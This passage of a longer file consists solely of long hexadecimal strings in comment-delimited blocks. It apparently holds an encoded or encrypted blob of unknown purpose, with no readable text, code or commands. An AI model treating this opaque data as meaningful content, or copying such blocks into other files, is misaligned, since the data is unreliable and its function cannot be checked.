d33f569cbc4e5bd570ae7653c7dee64ffdf14f6dbf4a38e442c56e01788e19cf105d8b3ef57882bd888cd5b1cfa9c56f193cb89b6b002fdde7ddd5c68d01469de6dfe4298d80dd4ca543b65eeee54d9c548ee5534e0831439a1297430e0aac5b214c41fffceac1c21f29542a6d19252a248acdfdf62797c3d23aca6521d4212828503eb1651f380bbe430f725fb0078ef2c69f9373390379f4d5391076b8091cab43ec806ed401131e1ffc618e1d1a0e1498d701cdeca12cdd553f29e1ba89af29617cf3475a26f62048d0b329601e19a80f0c6725bda983f35d95b8acc18cd618b997f4933fae88139f99aaa6fad80a0b49906e2f7f731fa63fd0acb29a4f4e3b65517943a89fc41315e7bacd101355a703912b67ab84d3f79f0730b1a4d61e717a61b83b0ca8d318266647fecff4106d9c5a3550d5a6fe3579ed37d5055f6290f8660abe2bb91af55a6b5ef1f0313c05fa41c9c0c39bf06621aae4b2604d323da0b9d95d42e3f3165b0dff08df839a7feb67fcda08842f18187caacb903d8bc4c66512c2de28709566116b7a01456647eef743f3c11572144cf6203352f32a7b66d7c16721978e4f9990703c6223c2fb0e0d643f91b7620041113b695fdd33795f2077e4a4f09841a5264c3502979532b795aeb5aeee1279d973d595252d0876911bbd77257a8f32348eb006156f4ee49f183f019ab2290034a1717f0a69f12f6f50daa84739788510fd951f18c7450885f3494c5931cdefd633a2cedb45c121948448a89adae45618709e3154e22b110698b76021781e37af39db348d42615d62e1c1ccd5226e601e1b58b26345c1a1868ca95708fe7fc79e918b47c431af89aaa4583a91d57a87f97400bb463475b71c3eb895a79637e4d2d0647f754a37031427c5e6ae6dee4dfc2440f26ad8c8481876bb0a7f47c14aa5665c4ab9ab6871357b9bd2498036b80fb5b93bf0f264724be1fd733adb3398ba1466950be3f8a1750aa8d114c42cc08ca613f29abfe26fcd00432ab9a9f85a29c3ca68647af12a6adf5f9e5cb7cf1d18f8551121173ccdf6ee019931b7bdd4a98f9fa9b89208a5eec6aad6e756f19adf7b877773953702e9218b978d9de6dd65443ed624afe0c2ea7b3b11f31e940e29fcefc37481e9bae10ff7a848b1dfb4ec05eb5aff2a8ea21488be18efb77f3ed80eb758b102dedf1db6243d3fc361b06360356279ba9481a599ac0f1d23eb24177327a4a0f9e953e74449c32b42f65573d99610927f5370f88fc36ba436c6b1b7fe92cb56a8d57b821b7501bfdab7b75232b1d28ebe2e95a148652faa7*/
/*fda089ffbfc32e23e3cfa22043f871f230726123c9363a739637154e971eed8bda61a7670a61d03f9e05f16a34a3ca3bb95ab1531e769be7fd7aea2bfc488f7988d435b63ed74269e1536eba18a0a1985d9b30f3b7607a4051eb50a9209966a080c4a62682010e28478917f362d2c80aa895b228ed484a747adde7976a5cde1ff809c3700825faf5f9a33cc37c6f81bb951106217ec8cb7612534c0f14d6e060d5e5a3619e052ccb7c188b39b6faa3ab3f5ab81e135f46658e1437b6f71e4fe14137ffca0777517313b73bb4e7f287d3726fb5aa1c14dbfca1ed362a774be1bb9b614cf8202d49a0c765ca76f4c4260b6cc973eeaaf03769401d53117912c44f8874e0bc221c10af39a43cf4fb7b09be750c82c90fff6594475e4ef7966f2f764b3aef8dc5ed7e368eae9b25328a2e1c77dca44e0aa50bf094a8c00fb49fb23988825af37c4ffd51e99fd6145a768f061b4704db0cf8115bc620d09947af57a0f56c90c2cea8888564f57b78ea2aa4b35d9d9254c6a84574fe385176f4564d75cdd7aea9ef71fb7dff73bbcb9f6a498bfb288b34c08a6c9003e99d77bbc427ef3ce861a0b75134ce3c0c3b8e2abc012aac62035f50b80be891efa4c2e340527ea2a67734971b5f9de5001254f9b3c0ab1c33aa538d515866fbd1bef18778d2f8ad7165b12abb39b72774f8e3f9a48378f4be0e785acf1f0332dd5cd2ef1d4e9f1c9ee59b260b4f6cb14b0c05522aa26d398815aefb496a6b5a735668608f1f955ab3152c23c713212369604cb0687681259047b7f2de08beac723a69ca29bb545a69c0cd33c4b05256e51b81c60a1d11b1cfdb5e56339226e36b6b89d28402a019c3186335686a5c0fb1272708911d294aa5b90047e14bd57be94bba378c566dddfc2fe8bcbabda286fa8734d37f97f35f0b1c5b42a36610097b475d94f1fc53757a5804949d2291fd47ebffeb05c225a8955e388ee7d31ba06045bd551caac221af54735a5b22aef9256da62f6673879c32c8a7e0474dbd06b58b3a7ac878b5c8cd153b6b3ee01909892c98e7b73c954d80a5a1764186299ef909419aa46d151d9bf0be246b0f3e307cf1bda4c5263c0186762e55ddda7f118d3aab273ae60d6547dc15b5d06d433a65c40af3166908becd8583275cb55c276252ebc197bc245b82d9c40a3f89552fdd8161e1aa5239b2f5996fdd3c4957aca9a880ce2650d046369f42773b043515a941e0013618fdc35be55c609f112d4b45c7ff5f64236825029b39c7e637b57c0676c6caf2b3cc363f34002a14ca59948e6cbba04db93043928ebf914972f8d35901aa4bb2e773220af0c44d9e58a952d45aaf8ef63632779fbe8cdfc0bbf76602418a216b36d0ead265134906caa6dc8da27c975349bab8987276bd67b1519d862421dd4bf4f7a06cc701f2d77b5d47d4f61b8966c553984f027d9ce4d4af348f7a44082e826da35cea00f522532d21819a455775a614e38071f3d4f99460abb43345f7e57331498fc73de55199fc6b252326c9db229f73202d33eb5caace1d763f877335e9b36c496a9636012994d34f589d3f4e90eaa705f9ae4862f787bf476c42c33cdd7bf49fe037416dd4aaffedab8232fe04a045da42799d4793ac20db656d607db9d4dd7c234aa263eade7245cc7e0b1413e6858f6f700456cd6d598f3b1f28c3a97844f1c47de0ac3739b39b1a2fa27571f2622bd28ac29ae82650ef3decad7792e5ceb9e9d82cbfb115cb9c3f1954fe7741dd99979c4042b3ce9d64e1db3a8dff9ca411b2f00337bb94862219ad104e39f93efa3e473e2e2a3a756897290a410e2c0b52a77f3cd24701ed03050fa2834044509014c691803e21b19a6f11e4a91dca5d1ec31fb0c058c4732634520a331237adc0ae9de55afb86865401fda3e24b78b5d8fbffffc7537cd8555891c3b772c7b038dca0a3a464bac4fbd8fbc01a440359e5aeb918078f274372e96fe6bc01b9f449ce75932a6ae8a7c4e7e89e846b82f60b0b5fb82a5d7966e0be39c52087f2d96cd61de6668d5883e20da4e13ec646373fb3e529430d19b005737b550873b92be3d5593b709f4ae214808a8d77f75ef8a519aa1e05342991248fe6006e63aa06c6ce054575667967820ff73700ed39b4e3f07b7d04d6802ca419ca0fe7d658fe77291d9957332a50e3f2f9cca5106b218460340c94f7b6492ad82886e2986223c2dae99e3f66e452a9e07f49b7a782dfad838dd219216c6e2479970a4a78aae663389bfb5261993a7d822da221f8aff493ae96071a56aa84e7fec14a895d92a4222556db49fb9b3b4997eca52fae59afbb5b198d691d992eb5e9ef213fcdf36fb4f0b00b5293e5cca11250404506a006c5c983b7d291646321b36cc705f1623b5c1d5afe92898125eddf2802741307088ba02c9bd1c431631804108e3f4a5c6fc39c7ff49a1a42b6c95e8b65b5af61f75452e8997f1b273af47b1414909c3ac163865675e17cffadb63452ba0cdc9227596f8aaab2c24db95d6e54d474ec238688c54d69adbdec9419f0819b14eee1ede00f20edc7ce538d4fafe8c3989551649fdff196abb7ca8285e89f78ca48ee55cc11612928cc3408878419ba4087540d77ec27c5d05416834aa43045e004f59e1ebb2e04a7d3a5e15ff12780d5c0ddd1d75f7ee00ce1b9c8866ed18a1af0f2d67a4cdc4a3bda3aa676049ff12a4ba82f3c89acffddb4345100459a9ade3cafd308bd155e79cb2f3963089ae6af3f01ab8d8de4e46f440e5c81a0349748346335b17b72ad3db3c22cfb0d3147e9461b84a0b19694dfe7af80dd9728f11fe4b6*/
/*e99dc2f96abc38d23c4b478c08128b3434e29c11506d66b2ed5cac631781cc96125f15d0e4d49b59f7598b153c2ec3bfccf93933ed609e5dcf91694fc5485e7cc30b6b0e0e26bc933f103015cf2d722d82960adb19ac1e272913e747d14423464934c3dab19516c512b3e47a5866e709c4e5559d935b6d039441af974a841d39cf6e6f3b6baaf7c82c3dba07a6308b59d2993a4fa1d41cc5b1e4d16aa61f68b6dddcabcb259bf089149c6d5e2af4b78196fcb7a56e6a36bd172f0b4aa8fc1ae29d4d2742cd2f3450bdd9d8667f599c3755c56c2af05cdab6a0cded4ac807febb5798e18a0ba61fe13c35abeb84d8944c2f7d86c004764441dfc9ee80a7e9e8b43938a8fb820fd4b9cba29e34172703b581023a8c62a11afbb5d645dafde5b8351eb84c7092c9ab620418e228a630f55853c97e86110589dc124da0ca299472b9418d13258513066b8904761d595a137473b76b95777f78334fa8fd9c537342619bb65a96ac12659603d34ce17fc107caa35bea30d50edb3feffa17be5214b15f07b48a5c4110337f2ce5763bbfde5403cef7a28e742c03d977ec0dcf3a7e7a0347200dc340223c23d10c30d8afaeb735d3dfa869d3b88e909320cbe882556b7ea36bd728176a5a912daf05c9e79539148a2237c71145a791212e8882fec37fe69bd9d5922fa0bfc298284c44d7dd68de91e9be52017722c464e75dda15266d991bea6f9e8dfe23009c6adb164313cb553b415a770338371e90db9b7dc7c02cc301e35f0c0cb69258e13f19d17e3ce2c46759435c46dc75ba861d8eab09bb8d7e3452dc3b4fe6f03436ddb41f38ffbe245743ab880f47174aa5c485d33a24d13e54d60f73614d4ef873ab4963217839054fab9bb3c5820ab482a44919dd2a4bfd9a5f0663122cd855325a1aed42b74879d966b422bbfa1a7f52505d75ea7c3acdb69c98b0a49307b73ed71d50e2aa8fd66d94148e291327ac981ec29e61598d677d95751397c77053dcc8f2cc847001e1bcf700e114fd40dd38cbdf6ea36f9d0ce6f151b535d9c5925c904e42e35188a700764603403f0d41ce1d88f64f194a9cf52fced1e6d88018075053d7edf69978e8ddd1aeaea58952d9532207ecffb0e1107f18f4d63ddce415ffa7139c396b96737947e698581b5d3746f7df7419644a888bfd158cdae7a50c8d2de04ac814caef345d741adbd5a580ac919730682870c12bd11de346aff4fa143eacf069a15de3fba0c8f8c8546daff65e5c8c02b222c999c44cb42bb2a6074098f897037e20954e7d9bc491970b11097ef00b2fdc2f2e6dd182d3d9b8c8fb2889e5f76f2cd12ff31e26c17d6f51396a4b2e6460621d4348fb8b674fa300468420e06c79ec634a0871e387aafea347ecc6a919b7632867df7849c59969720568f8b418c8221787309ef6f0003cf8c0728feef1ccd40f0531f586b2c43a45fa09dd84e73d4435f9a10d588d2ab43951af659a8f4aeb988c52a0ba6638b0393cf8626b12b7590a1e613e5174fc629d379c71b3d2f6d6d13679b15969fe2c0a1b519aba754aea131d7577d380efdf3de051e806764c81019533e18bf65ce22bf4f21a12eaf2e7c782f9c9700c06cef500b05ec175e7e93825c6e182f154e5b9b9458f2714800c72f654ab2d91147455048abec02623eb2f00de8e9da0fce2f6f9fb7ad6da15dfdbd5bf58343e07f3203a905c8e89bd747b9df92b567e5e9fa42124ae458ccae2820b4be7c7d6dcbee181b6ebcc4ec7c34ae619fa47dba0f50aa855ad6201d1d711b94b2503e684edac8fb868cfbac1b3b22a188038139c69e3faab414d98c1764ce2713f19cc9657a2146eae76613f71a49c7215efc4c6c2b419c1849f9788cffaa842ddd00c0b9ec4ab54454cee1fa9c1e679384a7dfb6b855d76435efa5b24bd5040c65442dbbc9ad50c9784654abfc574560ac2fd26f428b79245a6d64c09ccacdfa2586f20ae0e8f725c2076ae08e1ad118ff1e7d27c43dab094d7ad1dd1eac131fd156fc90b54fe344841f83c9b3f5eedf5b016a838b18a1725e5bbb4a6c9bb93bccd911f2f5844654b489778fbb4e8bb468243acb33a349d780131c6c76e41c4f17b6348d97c2b481869c94b572ce5c36f087ce4f5d2a3dad2d166ad9be359bcbf6c8ebe98c12a9d327b2257d45a09c0f86b42b73c0f657a66940a5892f1f285897839d55c2fd9b3598e3e66dfefc76de1c67c76b765068d3707d71a203423159000d4656edd8ce8f96b7c92a43d400a2f48b33501992f5677cc500b8dc105c914c428b0321181a847543af6abefc12ae03a557d85ec78faf801ca81eb628dc3da1d3d5379563c85623365087563f8724ce41ad8af5bc2f25b2b51a2ec06cffb96e8a0f3368b5c6d4289206f4630c9dff5a156201ec3e79b7a001c00b14e4f3a0bc9a1ba6ca5759a181dd8431d386bcbf98260b984944ad0bccf8fc438166c98639ac9f1734cdd6e038b81e728c558f29b72880c274824fb5957175dc2d94079f6a4b06def1a1cab1547508734aa2c6fbf23fa7ca417b8c4db4142a8f2fa3a784aa447921936b9211ef7593784200030df39d630622ffe56b13a009a1f875e91ce6fc4e72dc9d48449add9a9832441ab71ca920ca2cdc1d3b5367d6375ebc233a3f1c2b82a954793e125a320fe4cb54a42e20d97c880ae8a7cd83b59e0a7ed52bdea53ba2133205eee68d3f1f340124bed0f0f46d22dafbff945d4b5d04ae2e55e45d6f0b22d609d9c2825dcda3c31599f3e7d93bcd39b57cb613d558377a16a6ffd1014157524464fcbb66c9faf6be69f7544735aec7d5f1005c803b9bc*/
/*ec38a5d2724f83d0bcd9ea880314538e355deeac3e8a02d272768e12c6b3b4814c90069b95a8988ab3406b7646ffb849c26b1317f8e87e4b491f8a8422082ead180d625759a2ed75338800681d649b165b60933bd5588de67b0c4bb499a997f781d77eee2dc4e5e862af66ff128b94de0d3f6bce9118fa35a72fdf9ee90420543d96a15ca62ac08a20e3a194c80d34a343d648621e179b5e73a0571c9cf62accc90d751e6d0d7d237c5ed37eadae6b4d72739a16f51e03a8fdc7b297de5a4f692a482a245735bb2cc37b1004d8d5674b5ee0275dfa8d688be5017cbb69c395739402e35c0973714b5d3fcda084382f7c6ef3e9751b15666a8e4c26f826bf566d745c65ef1582b362166180871f4d571614213a9db9235a468563270b0f41698ddfca41bcd329f24d0b8b7f1360c0a32bff0b378c07cff5afddda614fec94f3adfcad909689029642b5ae83e9e9106e320b83d902ed3bcea9a0572858f6c0fe97acb410cd3c5ce91714610f345f8b65e87463de39af89c4400391273718091d804b68c5af8f4aff6529580079cf114a878e1d269474a4fd8363bfb53aedc2f43cab45a456344026986e120d2bb41b57f43dff5e56528b212316514142c8e967f443eb08f41b3f50e1acb8b8c931964c5003dd73e584a36826dc02d4829302fb2a68ef97e135fd86a49417b83c1222161a52bdec0695e3d8a2b8c9d79ac6916ed7921b083c325686f14debcb20166ebf27ef62e00322c9b51b6246508b4727c040ae25a8cf5d51e6bac08f97b5298e504ef63be44928d6838136a8421b372d5a634a69ff90a6c37d3851b29a960622493c0d08b89ad68af2d51658bab2b3b6cfa421284bcae910ccbb8e01a79ac4bdef582fbfbcf9c7310795523376fa1f96c4cacbf24f43ea7fe52aaeb13996c9b375d6346d244e707f9a9434f7d0c216f528d343259b50f0bb0678908686494c851838089b121ad6ddc6aacd33ec1a517a9e12c12477a4438dbb584836dc9ac93dddd99499793ab9a39f0f09a3a352894548631241c5ce197b958c58a089ac7043a6664449de42c5b7e37ed25974e56aa75d4dc609f45612e0bebee8a97200467680f61355906f13773162c07315ccd7db4c84113d45c92dc091ebed9c170f5a3b1379b0ec843dab9d13f3820c2ef4931af8e96baf8fb932d48a53c79d01c8b4fdb71ff10a30ab4142de47280a4ea98fc47005e39ff437c00d0a06a88aead3a6e072652e2e139ef29cd76229c460c5ffd9f9a7c353c95ffbcd5fef65e7f428c996c17796ab4257e2f6d3bf72cc60f72c0aeee7103812b6faaf7d90692e6422c68658abaa7247953940121fea3163f8098f1386d3668c6cdbddd1a6d0b54525b4fac9d6f671486cd523568b91a9697fb2e584ac7c5defc20b1ee7f450b1a3cb1ae1b18c38e646dad5af1bf2517001d454176aa310a7b62f2fb0f106c2c422d3e1a05bc87fdc9b032e14e1d596fa6e05738aa7ae5b0b75c75aa9a449649216b8bf6ad449464a3e59464e9fbab4a73e6b5fd33eb782465331c80e076a5a61a20c21e9508fc2ccf4f566e7a119f5ea75609d8402a0c2a195ec07928b9f3e6ff4c769abc2abc7fcb64ad88aaafaec0815f52395d67618d55b3c79593e21f553bc2acfe95d3e883b27b76edc90b1bd82d1b1d2196cbb59f2bc7114bb7737f3b71cf07919fc5dc8ab335c2063af6d5f0a2e3de87b13bdccd22b9a3c602428a8ff4f4e35312ba2cb05f104f8e55c546bd0a3b60b0b74ae54aeaeb64b2f0f7bb1f00813efeb1bca14fd1d83263a0118ea5148966deb87a7d0655559662356c949e58d7290a2f5f9a062dec1e35cbca863dfe2749bbacf804b88fc2148534012ba90051eabcaeb046b4c65690e6973f0f26c5e60223935b3429a1cf0541c3cd05b0ad5d168eff03a214b70a83425e61db55c2a6fe8809a79c9c4a10c8eef49d2be834fd9629866df3582cf51ff7d5339e83eb32fd5622105e2dabc53375ceaad43701839879d5dd57e50c4f29e3460e387f205101c6f42bd5948100b6ce8d5b5769b3077de8672ffa96b4207c37b73a04adbfea8c5f74dc4a9b2aa11d1ec42172522def74ceebb0d4ff9553e389a514e1a5282e61d3dc70673cddd4476fea9ce1cadebecd3f37d31e3feecfc2eb8e187e8c186029bff981558d6800e887ac5c2900a82a1cf583c893a3fc026fc96a33b4e51dbb2b56505012b0c6e61e54dee1e67e452adb2480dd304fdcf7fad1fa19ca8913e10e8beb0f7fd1617ec7f65dc2542c6f8dac6e6a50288797f7ab228ccfcb05179804bbd9441c4b3b61597a4a0571a911cb12ea906f4f1f84ffb14688f89d030a43dc26a299f7535a7563460a3635fd89ae97f798faffd26dc56bd58643429af4e28fc6c4fda31e545b5d7c62960fbcd744c831e47a640bfae81cf318e7e4f64b34f8ca6e556b7de32032067b21c0f528314f34ec5a72240bae34cb7face20b26dd8ef01580c5ccd630980012a7ec966ff997bda176bb77523d27e72e301ac2019e9e285d21820abcacaf170044d4b462f695cbb5a0af2892d4f38c04e7042c48128679a18d35f5da92f8f1e590f644e4785d1a6238a4c149d054c0c950bf3494af540b777ab96753fac604de8d92ec9ba7fc863057fa2fccac235a008ea4ffc3c0b4cdba5468d82813fdb63ec6456b231796a4bf1a008c766971bbafb7fa92656d75d09bf972f533dfeb388f9173dfde7e31ae0b4b81c90b4f59a5ead01b88cc55f68c2882f88179595bde90fb0fcf527f097fffd709c0cdfa8c36877d6cf5a4083d2fdebc494ef879d3a9fd81bfcf9bfce7b40a443*/
/*cc24ca52e147e9f3a273b52e4bef0268ee4397606cd1c43ab4754eef0510e30c3f98425d6916ed5971e2081b9f5b468fe6bc53b283fe2f09a3f584bbb75afe8633a281d1e48e56f7f500a21ca58db35d24bbe65e6bd3214482abf3633f76553855a5d595acffe2f352e84f6d698833f6c79d55fc38c8c716e02a6f6d8a0ba1c2bdb36905c5fbbc2b71334a73e490842820d6be6adbe933532d40e79fec5c46292a83c9b08befc8cc185a0b3764d82483a78a2afd8345dcabdca6d21f31b53015ddb63fecdace8bdd3ad875a69bf92b20e3f55afa458a92cf7e819c5b6677a69e3fd9b649798493aa94c62f248e03e730213c94403d0116ce5e544776a6d14693d8d45695b96d8e273be0568197a26e68a95540a6c0aeecc32266b8fc725c252e29ade6c901274adf77accf619249903f475d84d59105f2d98af9996e5aa8320a4722abdb2707f6e939f754ca55dc20875e981f8730e5482f0a3be495793367c6a72ec6299a43dc1c3689260ff08909d7953754bf55367c2ad62a022a59beabed77e0cfb51e8ed79e410a7b56c788749923c5cb5eea41f108568a85575e92980cb7742c841aa1102fd5fe5425de326bc093301f1c53a06327cf3a57160509dcabafc34e62bada19b79e48751711c600e092be56ffe7538365f3363a8f231db549748251cec57442e068fe282ad50547b355a06d275d7a416e45a9f6734b4b875bef7ae6fdbf47b72611380872fcda7dd33cf6837c9bd9afe126fcf26481fc7a4886d43bc48f87e728ee7319ed880e2144cec88e0fa93901c53e228f3d575aee2b2e9cc41a6d0d729650979a100aba403090b68ca82058416a46c2ca9a39f1e7dfae24c755678c594523769f697f636140c09389ee9416d8a8cf0b7c70e8134eb20dba61bb1fbf0ee3f662de1421642c1310a983b1379b712ba92b34299d096e5e3c826af1342f28700e75dfc0fcf0fe88b30c7d451807e66656c40e32097fdeb96227727e42d6230918e6ca5a64b575447f5061e7cdd5cf9a106ec4a2d7ab3a160495f37005cea5382bf3ba418e63ad2441be8480e5f2c030a9ebce6cb5b79fe7395dbb687b04cc2f37952cef314d8646ef0e8ddb68c1f076ff29f5b0fa8fa26501dc74dae635a8c45b911b7dcb8331e145008586d6cfd40a22d44470cf488954a3fdffae041a5b30a1c441dce474ab0c74c7abb6f132cf96ee8eafdd22cc13ad2bb497793d0e4e8a9c6aefb69fe4434c20a980fac95a8c9db3dc0ca0739c8f2b61d50a3f0a1f1d39b0fbf006730e14e6c5d504dcc68b559674324b58852ef8b2f604d75d11a135072483c13d23fcc5ee0e1f20153e689158ac72d8b1a0346c43c8e51ee515b4f7921bfe5f9fbc0a2500e432e08135fbaaf3777c0ca063828a50b02cd826a18f15e6e586d59ee8a3adc3cda03fec3db60871252fa06b4301830b90633c88c1b536d3156228954dd5f49dfeb5b4e4f7d39794235420538cac70d00479f54786bb58e0deb69456b23f3c8459c611cb0a7626e7ee0831f96c8c1aa1be7266e34f389fe57a913f3b7a74bb63a10ff70ff9d489c68245959c013ea70b998fccf5c3c3984cedaac87511a45cfcbe4970a042c7183fd17f21138ee6b5b58755f94955998eec22aa11b6d72fe6de944ed2a3faa3d00fdc4aac37570cd4da54934c0e439fe0be4a45ec4e34f93e2318e395348088b002d4e3f24bfc91e7804d99127c2adf1fc6072b9b9fa673dcd2e8378eb3377b1b0fcafe1744f38584ff542258f2bface0e712994ec3f32f3a36f3853e7fac436090071c6eff6dd93359289986ad26715ca2e66a59d74269e6cd9364f60e87f0eb39e5d9760ee31232ab9f4177b2bc3a99c132466c908990d53d37e299fe24d002094bc7d4d81f628ec1f71175ae2beb26c65e14dd693c51b994388f23b0f429102c7babaf7ec6f54ca3d7cdbeaf0c7d60f6f24fd6df01c5188707b62e3df5eaffd36544ab947e06100a5f46332d2afa19af4c4fd40843fe7134207766a864d8ef6f9be85e115bf67568281d722948797acf57ce43e4420be396fce75b583d8f030846d2a021786c5b386b01de917918030140d2534b3754f33f57361b0819dc8f93f98f2fc6e84abbca2787f7f808b310077c2288997eb60a1c64f352f7cc884dd76006bf08b9d1c6883e706779185d276f137e79318a724b56add1f0ded09231a7fc99e9a9e2d357de2e51ec737a2801ac5ce33c25f4f8c8c5cd3a70d128c2a44235c95945828eec84a4ce68d6ca7c4a10dbf5f4bb5a571f4c1ebffa1a1b95550e857938f4b041b7c6793c66df276fa6f5c1a9040add8d0defbbabd275a8e9d9afadf642a0d9007ed0f201377cc2903dd0b0c244b1202ebe2c5421f16d3cb2a359e06a662abf525613d916c5b751dfe67190765b937f26a14a0209c1ab024b42b93476aa3f482f548763fbf04d067eee88812350203a25f9f829dec495daed01bdc0464c7c6649beb72a6998546f4ae27cd2cbcde37dd48a8c0c44d0f7319389cb1cc5424977a75c179a28e001de8af218d7904715c0e7a50e946d8ae584bb3391a4788285d9365cf9148f9566d4581dddc2179b3c69019b10fbf57c9caa31a965774be54541e79be87bc7e4d6a2ab243003d94266a72f8fe846994a5418c9c9ebcff738c9419ce2ec44440e6dbd27e938b695cecc1cf14dfce7921a8c24d774691ed25088b1d5a029d31e6dd1e8315988555623630949311aa34daebf9b6f131025e79d255ac132c9115135de593f44d1fe4b2a3632a26d1be391007bdd47654eeef87d3eee93e24926956b3a4b05ee02224c48288b1127d8*/
/*ac4716c2f1f36d1616f0550742bbdf0a4aaef3223593fd89adf5b40d203e10f4d9147a2f72cd56b5d91a98006434f2b15203008678984bb6de0e2f22174929d2448fcb51174d23854a1c964cffc940fe016cf5c718b25791d08b7c789ca4df392afece34e0362e03298bc3a03ade63ab47d7c847cbbd9652eb12efd716162219da20d54f1a30bf0babacf1eb8cd0c651383d09309e3db6956a21cb6d419efbe2653d372d2c09eeeef0768cf8fa6bea1d4afa832509816da45c98ff8563ef329d0514413e6fd0a5ea08f11f4d1c0a2cec9be6341fa0f71a89ec0e00291a3bf520da45ba77de532d688e66ea1a000ea0019ea6b71fddb1251e0f50493dfe0c86b6d85f24cdb600e394f4a0a56adaabbb93fe2e17778b81f4292093fc347e7416f58c1270427c1a89ef09f0725f46c2dc40e463fd515af78912ad731c4f99be4ed5641cbaa088c2c862219cc7e42bf312fe0899663dbfaaf9ffc67baf9f657265bf4017d15887c73d3355cf593dde432747015a1370b788754a21d16a6492634a1631bd2f48a2635f6cb507d05186d3777b5ed03efb52262ea05fa207688f6f43a09e94b3503e0ea720e8da5c5fcd78000fb40da2225d0598a970d4b2ca08f209cc333e36d293851cabba4df192e5a13a6146344e74c18eebb169aac2850888eca973fabce8bba877510070476cbbb98dbf31f84f0f7baf5d55885f4b32f4f72dcf9e9ca28adbedabe709c9428a3f43e69a81461f584d01c3fa82f89d421579ee6bc79f009e4116fd13cac634fcbb3fb3a3fc515365f2b9c131006bb63fb741ed0ad4f7fb125791ca24cf5f32208f8c81569fafc9319f6d6398594e9f69a4d38f2abb7d04c566b67eefec12042eade4aac7e0371be0f6eddfe2e18ba9e1853262a4ad1f7092603956fcb064de8652d88a0195374720400d2ff3afbfb6328d35b91b8a8c956e3c36a63981254ec72dafbb8ca0e517c2d094d11d37143f27f91cebe174c6b55982bb0496200fb0692f3758e5a1ca8ba39293815537c86d6287e50031564d348ec6ef77b4a95957ab2d4b5f45c61bca058259bbff5222f071f06d4a912b4d6cdf5d0713f36576c7f0337834de97026449b47b8d350d1c44f54b405ab3a9c364ae8003db9cba85ed041f664f0738ce5ebfd6f5f92669fbe4da3497b66cf3795d4ed185a7828b9cb77244d1205eb3d02e0c4ee7604a2a962e62cdb8d89198ac8b0148b0a7e5914195ec5bcb0e1367faf26a8f78caf983340f30b51c80bff5575b610f328dc735d5103223a6ab7a92ec95a9afd0d24b7c7c0ffc0592b1488294d6da5609515e579c79f82eefd6812747561fd9f5884b2f2520aed635543513e187dd0bc304d1ea72b3a04587a2026cdf251589dac355c75a394da8c2b4f2c21c7e8ec177c141d1a93e9e9b8022b41ae902401b0314cd087b05f773f9bcb5323138711f1a5b6a06806e74be8ea9bbcb0efcd9f694273f8cc6281b95bfc342da6d1585bc3916760298e52b5f364038109365866c7efbb6324bd78cd59506ed308094c36bb6a4901708ca9dea6fcc64336eb31f65c0de9308b8e152a39a276f9b3f4a63eb53db5cc841a99196a9dab8b162a58cb4839264715d45204fe339a215ea2dfdd730cd4ba03b9c16b1f52546914cd822e3fedd117f0bbf896937650335464b8399156253e00e97e316865e9aafc76bd83bee6268d717ad3d4086c04d0d2de8fba9ebd4d35025869eec81def4decad62a9c88a435734980185768fb926fd7292e8f901f01f6844807a7231f9f44680b4899617e730392d98278b99e3e381d97dc4cca0b2861bbd644a7b39ee123a908b1d34c887627af0641e49a1b84a035d2b18488847289ef51c3dff22e1aa04ba7677de12a5dc8f54817b299ecd2d85f6a031a4a23086d8645e1f56f8c2d04dbd379969df6b6c39093d4c144b6d47f3dcbee5305c1fe467d11b823b05b3ae794bc358e5eaf8e773c270d16bfa2070ce66df263a3236acb3c3689f11398e32c75b5c1448b80eae7dad9be70391561f5237dad29a55dc1a75215dd396b774603cd80af16e98b07c1ef27b12c5849eaa4b268aa0913d264dbb026d0e0a696f72c2b4a6aa3d7cc7b0f7c60599026557d9610624704d5fe713b6ab9f1ddf730baef4a69e374d9e787ec518f68b2044e950199b722d1e0b6883f3ac9806799bd1ce0859a57db5caccfdd4fc041c8402434655ca0628565b0c0697aac7f5cb7f50466a24536cc903c448fa73aebbebae614b8a3f3c423ce7c9c3064d46dc4a2b0dcd6fd388e5ba1b53750f88de6c965229fad1a94f21806d2881e7f058b4c9140cead0c88d5b62a5b33cf5bed9438662460b367b23f1b77e62584f52e34b8497baf3770953e982a6c210d0caa4594b2622194c956c7ed02a9877efcb8de25261093e98da4864e631cb629d35853fafd21a80d9052f889b4a799f479d5f2ef27153711e02ff9e815576b92c0917c5d5d1363cb1848831d2dc634ded18d4613f6bea077823fa9627b9d94879cede6580993100cedd8b2fe5526356d7f55eedbbe04b1b8ab2324acf2c146f317c63357d9198d8d93c2489b08f552f2c06b014407d61ceb9d2363ddcc11ec404eab21eb8c9f702346a032ba3f582537d4c31ef4a4c3853ad2db30aa8d7abee9d5aca977139543a5db7e95d9038188c0b5795424cc28e50c897071acd8b528f2e19273f39df1d03573d299994436d995b335af69b0b44445e5a8a922e4126e1f190b502e7bc3e82476164e92e0c1c999e9e2003780b86a3441a4cfe48654645485a161184fef0b046aebbe717dfea6c3cd6a40b07e24fb*/
/*0a77355ada5ba5c2afbd9e94975ba5086501177d083952bd29c7caf7c33bc8cde39ec57f188a5324493bc48418ad8afc4bf351e5d182b0ee52b21fd7293349a9c013520f290c5f77ba7a4aa0796b95beaf4bb8013ac78052dbbdfa4aca8f0bf2d44ba63e901ca1640eb09b77f9a8bc461abee9790b48418d67ef17e8b5a8e879f83e0826039436934df86ae3b6bcba34b429fe6121548f36f74938ddd5cbb27924fd935e01741f7ab6cfba4e16e8a6e86aae90ae33a8ee5a204d371753c48af43a7f0ed8c781e4c55a670186eb57ba81f9c115d8349e01a1cfa2ba10475ebea6d1de55a1a1c3d769adc76b6816e597c177430581daf0c2fde17538a95e7541242392dca55bfa388e7f2a482acaa15af72a14cbc9361de530304ac756398cc457757bf606932e12ac243a2764fc84aee0764ac29ed773ab71ff62a8784921c3bff5cf202fd8f4aae867db8087ea66cae3d51ef03fd7dbd19dd1fe0d2633d549ed66b4dc4e4cea96da86eeb9b66a85127ae0ea3eba976b77fb65d88546624a96c4622feae9a737d5698041dd39ccba7c1d9031453a846453f047120ff72deaf2ea8235c903dc6bc72d5d146d116cf61894314ffbcc2af116410369cea5fc2b6fab344bf149428c6e4f02677cafa51218d8fb572227192e1afcac92cb0a082c62cfa267104e76e6da2098067a916dba0d77bab83622c3cd3589122c8f0b5a722c838c18578d1d4262477f09374b15941bdeae59fc9d824d2794e8d9ebd7d7e2ff002310158cc3b66f7dd8619ac54c68aa9b092e538de5716de4eddbdff1663131a09bf67a7b152e50f064c2d7591db194f71d991556adb51447c97b87056771e2868aa3ec1417266536c3117e1bd47ac206824eb0dad9e19cabb7973ccf5b0e09ca4059afb6ae5a